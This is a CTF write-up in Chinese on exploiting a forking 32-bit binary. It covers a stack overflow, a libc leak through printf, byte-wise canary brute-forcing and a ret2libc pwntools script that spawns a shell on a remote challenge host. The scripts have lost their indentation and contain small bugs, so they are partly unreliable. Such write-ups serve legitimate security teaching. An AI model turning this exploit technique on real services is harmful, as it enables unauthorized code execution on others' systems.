利用fork的子程序保持canary不变的特性来逐字节爆破canary
流程概述
本题主要流程是:
- 询问是否输入数据,选择N直接退出,选择Y将fork出一个子进程进行下列工作
- 将你的输入作为base64编码的字符串进行解码,输入的主要限制就是得是base64编码过的字串
- 将输入的已编码字串拷贝到栈上一个局部变量buf中,进行解码,解码后的值就存在buf里
- 用printf("%s\n")打印出解码后buf中的值
漏洞分析
在拷贝到buf的过程中,由于拷贝长度远大于buf相对ebp的偏移,因此存在栈溢出
但是这题开了canary保护,每次失败后父进程将会fork出子进程来进行下一次询问,因为fork出的子进程使用相同的canary,考虑逐字节爆破canary.
为什么fork出的子进程canary会相同呢?看下检查canary的函数:
canary.pngecx中存储的就是canary,看到是从gs段的某个偏移处取出的,最近在学操作系统所以对这个全局段寄存器比较脸熟,在windows下,gs存储TIB,PEB之类的进程数据,但是linux中不清楚是怎么样的,从canary不变的事实推测,所有的子进程和父进程是使用同一个gs寄存器的.
关于gs的资料,参考的是 https://bbs.pediy.com/thread-145559.htm
实现攻击
定位canary
用如下脚本可快速定位覆盖本体canary需要的输入长度:
from pwn import *
import base64
io = process("./pwns")
for i in range(0x100,0x118):
print io.recvuntil("[Y/N]")
io.sendline("Y")
io.sendline(base64.b64encode("a"*i))
if "smash" in io.recvuntil("May"):
print "smash detected:",I
break
else:
print I
运行结果:
leakpoint.png可知输入长度为258字节的时候发生了canary覆盖,因此可以先输入257个"a",再输入一个字符覆盖canary最高字节,如果覆盖正确则程序会正常返回,输出"Finish";如果错误则本地程序会报错“smash”,远程则表现为不输出Finish.
按上述分析可逐字节爆破canary,之后可以进行栈溢出.
泄露libc实际地址
在栈上发现了一个__libc_start_main附近的地址,由于canary检测之前就调用了printf来打印解码后的字符串,因此可以轻松泄露栈上任意高于buf地址的栈中的值.
爆破canary
这一题由于printf的存在,我们不需要爆破4字节的canary,因为最高字节如果不是"\x00",那么将printf("%s\n")将会泄露接下来的三个字节的canary,因此只需要爆破一个字节即可.
那为啥不直接一次泄露4字节呢,这个我一开始就试过,直接输入257个"a"的话一般不会泄露出整个canary,一开始我也很不解,但是调试过程中发现canary的最高字节一般都是"\x00"(这是什么原理emmmmm)所以这个脚本写起来就很简单了.
遇到的问题
-
这题遇到的问题是一开始想用pwntools.process的env参数修改LD_PRELOAD的值来直接加载提供的libc,但是不管是我这里(deepin x64)还是队友(ubuntu 32bit),都无法正常运行,报错错误码-11,原因不明.
-
由于我是64位的debian,一开始本地调试的时候用64位的libc调了半天都过不了(真是zz),这里记录一下,64位机为了兼容32位程序,都存有64位的libc和32位的libc,以后调试32位带libc的程序计算偏移时,应该选取32位的libc,具体libc存放的具体位置是:
32位: /lib/i386-linux-gnu/libc.so.6 64位: /lib/x86_64-linux-gnu/libc.so.6
脚本
#encoding=utf8
from pwn import *
import base64
#io = process("./pwns",env={'LD_PRELOAD':'./libc.so.6'})
#io = process("./pwns")
io = remote("118.190.77.161",10080)
libc = ELF("./libc.so.6")
c = 0
#泄露libc实际地址
print "1:",repr(io.recvuntil("data[Y/N]\n"))
io.sendline("Y")
print "2:",repr(io.recvuntil("datas:\n\n"))
payload = base64.b64encode("a"*257+"b"*4+19 * 4 * "a")
io.sendline(payload)
data = io.recvuntil("\n")
print repr(data)
libc_main_F6 = int(data[::-1][2:6].encode("hex"),16)
libc_main = libc_main_F6 - 0xf6
#计算system,binsh实际地址
main_offset = libc.symbols["__libc_start_main"]
print "[+]main_offset:",hex(main_offset)
ret_addr = 0x6569f - main_offset + libc_main
system_offset = libc.symbols["system"]
print "[+]system_offset:",hex(system_offset)
system_addr = libc_main + system_offset - main_offset
bin_sh_offset =0x15CDC8 #0x00162CEC#
bin_sh_addr = bin_sh_offset - system_offset + system_addr
print "[+]leak addr:",hex(libc_main)
print "[+]system addr:",hex(system_addr)
print "[+]binsh addr",hex(bin_sh_addr)
#爆破canary
canary = ""
io.recv()
io.sendline("Y")
io.recvuntil("datas:")
io.recv(timeout = 1)
payload = base64.b64encode("A"*257+"a")
io.send(payload)
content = io.recvuntil("data[Y/N]")
io.recv(timeout = 1)
print "content is:",repr(content)
canary = content[257+11:257+14]
for c1 in range(0,0xff):
io.sendline("Y")
io.recvuntil("datas:")
io.recv(timeout = 1)
payload = base64.b64encode("A"*257+chr(c1))
print "payload:",payload
io.send(payload)
content = io.recvuntil("data[Y/N]")
io.recv(timeout = 1)
print "content is:",repr(content)
canary = chr(c1) + canary
if "Finish" in content:
print "[!]canary is:",canary.encode("hex")
break
else:
print "[-]"+canary.encode("hex")+" not right"
payload =base64.b64encode("a" * 257 + canary + "b"*4*3 + p32(system_addr)+ "x"*4+ p32(bin_sh_addr))
io.sendline("Y")
io.sendline(payload)
io.interactive()
网友评论